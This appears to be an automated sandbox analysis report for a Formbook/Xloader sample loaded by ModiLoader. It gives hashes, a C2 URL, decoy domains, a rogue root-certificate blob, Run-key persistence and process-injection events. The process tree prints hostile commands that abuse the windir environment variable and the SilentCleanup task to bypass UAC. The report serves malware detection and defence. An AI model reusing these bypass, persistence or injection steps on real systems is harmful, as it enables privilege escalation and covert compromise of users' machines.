Analysis
- max time kernel
150s - max time network
151s - platform
windows10_x64 - resource
win10v20201028 - submitted
11/12/2020, 20:43
Static task
static1
Behavioral task
behavioral1
Sample
4819f4e997b99896c4d3a2813d6b3525.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
4819f4e997b99896c4d3a2813d6b3525.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target 4819f4e997b99896c4d3a2813d6b3525.exe
- Size 1011KB
- Sample201211-blztena62j
- SHA256 268725b4599bf8e1e30e7743cc6dece666f20bd6e7522effb152365765ad8564
- MD5 4819f4e997b99896c4d3a2813d6b3525
- SHA1 d96ee7d872ba14387c78c4c1be39a65f489d7014
- SHA512 61444431dd642b4871d34346da2c3b5de79d7f24b404f5bca1e6b4ed96993b50ccc02090b9dcedc1363e72a20eaf6e657088050279ff56775d1455d1772fe8a6
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
formbook
C2
-
http://www.switchtoambitwithmirtha.com/jskg/
Decoy
-
jajaten.com
-
pnorg.net
-
rccarquibogota.com
-
marcomarabiamea.com
-
theligue.com
-
mdearpet.com
-
barokahsrivillage.com
-
wisdomtoothguru.com
-
srteamsex.com
-
erotictoybox.com
-
278698.com
-
victimaccidents.com
-
bootyfashions.com
-
stomasto.site
-
canalysisconsulting.com
-
printandmail.legal
-
bestcureforbackpain.com
-
apanifitness.com
-
smartabletech.com
-
facialsteamerofficial.com
-
cookclassesfishes.com
-
ayanmobile.com
-
cannapharmaus.com
-
lactationdrink.com
-
enrgsystems.info
-
f1leghecodemasters.net
-
topazkibblez.com
-
appbecause.com
-
256barrington.com
-
snapmoneyexchangellc.com
-
kriolland.com
-
7255399.com
-
realoneathletics.info
-
illustriousevents.com
-
moonman.services
-
dog2meeting.com
-
successwithyolandafgreen.com
-
freshlookconsulting.net
-
3bcreditwatch.com
-
lacroixundkress.com
-
beaujolaisboston.com
-
breakawayfc.com
-
bollmasonry.com
-
jiujitsuspa.com
-
zirangaobai.com
-
capitalmedicalsupplies.net
-
swavhca.com
-
pereiranatalia.com
-
lbarco.com
-
revistabrasileiramarketing.info
-
carportaccessory.com
-
kvrkl.com
-
handledlife.com
-
groups-post-sales-2678493.xyz
-
rapidprintz.com
-
buzzkeel.com
-
divinityemerald.com
-
ppc-listing.info
-
coryfireshop.com
-
mimipopuppicnics.com
-
votehealey.com
-
saraadamchak.com
-
winwinwin365.net
-
tprmt.com
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Xloader Payload 2 IoCs
resource yara_rule behavioral2/memory/3460-8-0x0000000000531655-mapping.dmp xloader behavioral2/memory/376-16-0x0000000000000000-mapping.dmp xloader - Adds policy Run key to start application 2 TTPs 1 IoCs
description ioc Process Key created \Registry\User\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run control.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \Registry\User\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run control.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ZRPHB4NXT6 = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe" control.exe - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4068 set thread context of 3460 4068 4819f4e997b99896c4d3a2813d6b3525.exe 81 PID 3460 set thread context of 3116 3460 ieinstal.exe 19 PID 3460 set thread context of 3116 3460 ieinstal.exe 19 PID 376 set thread context of 3116 376 control.exe 19 - Modifies registry key 1 TTPs 3 IoCs
pid Process 2576 reg.exe 2240 reg.exe 2652 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 4819f4e997b99896c4d3a2813d6b3525.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 4819f4e997b99896c4d3a2813d6b3525.exe - Suspicious behavior: EnumeratesProcesses 48 IoCs
pid Process 3460 ieinstal.exe 3460 ieinstal.exe 3460 ieinstal.exe 3460 ieinstal.exe 3460 ieinstal.exe 3460 ieinstal.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe 376 control.exe - Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 3460 ieinstal.exe 3460 ieinstal.exe 3460 ieinstal.exe 3460 ieinstal.exe 376 control.exe 376 control.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3460 ieinstal.exe Token: SeDebugPrivilege 376 control.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3116 Explorer.EXE - Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 4068 wrote to memory of 3288 4068 4819f4e997b99896c4d3a2813d6b3525.exe 79 PID 4068 wrote to memory of 3288 4068 4819f4e997b99896c4d3a2813d6b3525.exe 79 PID 4068 wrote to memory of 3288 4068 4819f4e997b99896c4d3a2813d6b3525.exe 79 PID 4068 wrote to memory of 3460 4068 4819f4e997b99896c4d3a2813d6b3525.exe 81 PID 4068 wrote to memory of 3460 4068 4819f4e997b99896c4d3a2813d6b3525.exe 81 PID 4068 wrote to memory of 3460 4068 4819f4e997b99896c4d3a2813d6b3525.exe 81 PID 4068 wrote to memory of 3460 4068 4819f4e997b99896c4d3a2813d6b3525.exe 81 PID 4068 wrote to memory of 3460 4068 4819f4e997b99896c4d3a2813d6b3525.exe 81 PID 3288 wrote to memory of 2652 3288 cmd.exe 82 PID 3288 wrote to memory of 2652 3288 cmd.exe 82 PID 3288 wrote to memory of 2652 3288 cmd.exe 82 PID 3288 wrote to memory of 2576 3288 cmd.exe 83 PID 3288 wrote to memory of 2576 3288 cmd.exe 83 PID 3288 wrote to memory of 2576 3288 cmd.exe 83 PID 3288 wrote to memory of 1360 3288 cmd.exe 84 PID 3288 wrote to memory of 1360 3288 cmd.exe 84 PID 3288 wrote to memory of 1360 3288 cmd.exe 84 PID 3288 wrote to memory of 2240 3288 cmd.exe 85 PID 3288 wrote to memory of 2240 3288 cmd.exe 85 PID 3288 wrote to memory of 2240 3288 cmd.exe 85 PID 3460 wrote to memory of 376 3460 ieinstal.exe 89 PID 3460 wrote to memory of 376 3460 ieinstal.exe 89 PID 3460 wrote to memory of 376 3460 ieinstal.exe 89
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3116 -
C:\Users\Admin\AppData\Local\Temp\4819f4e997b99896c4d3a2813d6b3525.exe"C:\Users\Admin\AppData\Local\Temp\4819f4e997b99896c4d3a2813d6b3525.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat3⤵
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2652
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\cde.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:2576
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:1360
-
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2240
-
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3460 -
C:\Windows\SysWOW64\control.exe"C:\Windows\SysWOW64\control.exe"4⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:376
-
-
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵PID:3772
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵PID:792
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵PID:3980
-